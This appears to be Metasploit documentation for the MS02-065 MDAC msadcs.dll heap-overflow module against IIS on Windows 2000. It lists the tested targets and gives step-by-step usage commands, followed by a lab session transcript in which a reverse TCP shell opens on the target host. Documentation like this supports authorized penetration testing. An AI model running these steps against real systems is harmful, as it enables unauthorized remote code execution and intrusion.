91 lines
2.7 KiB
Markdown
91 lines
2.7 KiB
Markdown
|
## Vulnerable Application
|
||
|
|
|
||
|
|
This module can be used to execute arbitrary code on IIS servers
|
||
|
|
that expose the /msadc/msadcs.dll Microsoft Data Access Components
|
||
|
|
(MDAC) Remote Data Service (RDS) DataFactory service. The service is
|
||
|
|
exploitable even when RDS is configured to deny remote connections
|
||
|
|
(handsafe.reg). The service is vulnerable to a heap overflow where
|
||
|
|
the RDS DataStub 'Content-Type' string is overly long. Microsoft Data
|
||
|
|
Access Components (MDAC) 2.1 through 2.6 are known to be vulnerable.
|
||
|
|
|
||
|
|
This module has been tested successfully on:
|
||
|
|
|
||
|
|
* Windows 2000 Pro SP0-SP3 (English)
|
||
|
|
* Windows 2000 Pro SP0 (Korean)
|
||
|
|
* Windows 2000 Pro SP0 (Dutch)
|
||
|
|
* Windows 2000 Pro SP0 (Finnish)
|
||
|
|
* Windows 2000 Pro SP0 (Turkish)
|
||
|
|
* Windows 2000 Pro SP0-SP1 (Greek)
|
||
|
|
* Windows 2000 Pro SP1 (Arabic)
|
||
|
|
* Windows 2000 Pro SP1 (Czech)
|
||
|
|
* Windows 2000 Pro SP2 (French)
|
||
|
|
* Windows 2000 Pro SP2 (Portuguese)
|
||
|
|
|
||
|
|
## Verification Steps
|
||
|
|
|
||
|
|
1. `use exploit/windows/iis/ms02_065_msadc`
|
||
|
|
1. `set RHOSTS [IP]`
|
||
|
|
1. `show targets` to see the possible targets
|
||
|
|
1. `set TARGET [TARGET]`
|
||
|
|
1. `set PAYLOAD windows/shell/reverse_tcp`
|
||
|
|
1. `set LHOST [IP]`
|
||
|
|
1. `run`
|
||
|
|
|
||
|
|
## Options
|
||
|
|
|
||
|
|
### TARGETURI
|
||
|
|
|
||
|
|
The path to `msadcs.dll` (Default: `/msadc/msadcs.dll`)
|
||
|
|
|
||
|
|
## Scenarios
|
||
|
|
|
||
|
|
### Windows 2000 Professional SP3 (EN)
|
||
|
|
|
||
|
|
```
|
||
|
|
msf6 > use exploit/windows/iis/ms02_065_msadc
|
||
|
|
[*] Using configured payload windows/shell/reverse_tcp
|
||
|
|
msf6 exploit(windows/iis/ms02_065_msadc) > set rhosts 192.168.200.186
|
||
|
|
rhosts => 192.168.200.186
|
||
|
|
msf6 exploit(windows/iis/ms02_065_msadc) > show targets
|
||
|
|
|
||
|
|
Exploit targets:
|
||
|
|
|
||
|
|
Id Name
|
||
|
|
-- ----
|
||
|
|
0 Windows 2000 Pro SP0-SP3 (English)
|
||
|
|
1 Windows 2000 Pro SP0 (Korean)
|
||
|
|
2 Windows 2000 Pro SP0 (Dutch)
|
||
|
|
3 Windows 2000 Pro SP0 (Finnish)
|
||
|
|
4 Windows 2000 Pro SP0 (Turkish)
|
||
|
|
5 Windows 2000 Pro SP0-SP1 (Greek)
|
||
|
|
6 Windows 2000 Pro SP1 (Arabic)
|
||
|
|
7 Windows 2000 Pro SP1 (Czech)
|
||
|
|
8 Windows 2000 Pro SP2 (French)
|
||
|
|
9 Windows 2000 Pro SP2 (Portuguese)
|
||
|
|
|
||
|
|
|
||
|
|
msf6 exploit(windows/iis/ms02_065_msadc) > set target 0
|
||
|
|
target => 0
|
||
|
|
msf6 exploit(windows/iis/ms02_065_msadc) > set lhost 192.168.200.130
|
||
|
|
lhost => 192.168.200.130
|
||
|
|
msf6 exploit(windows/iis/ms02_065_msadc) > check
|
||
|
|
[*] 192.168.200.186:80 - The service is running, but could not be validated. /msadc/msadcs.dll content type matches fingerprint application/x-varg
|
||
|
|
msf6 exploit(windows/iis/ms02_065_msadc) > run
|
||
|
|
|
||
|
|
[*] Started reverse TCP handler on 192.168.200.130:4444
|
||
|
|
[*] Encoded stage with x86/shikata_ga_nai
|
||
|
|
[*] Sending encoded stage (267 bytes) to 192.168.200.186
|
||
|
|
[*] Command shell session 1 opened (192.168.200.130:4444 -> 192.168.200.186:1028) at 2022-07-07 10:13:35 -0400
|
||
|
|
|
||
|
|
|
||
|
|
Shell Banner:
|
||
|
|
Microsoft Windows 2000 [Version 5.00.2195]
|
||
|
|
-----
|
||
|
|
|
||
|
|
|
||
|
|
C:\WINNT\system32>ver
|
||
|
|
ver
|
||
|
|
|
||
|
|
Microsoft Windows 2000 [Version 5.00.2195]
|
||
|
|
```
|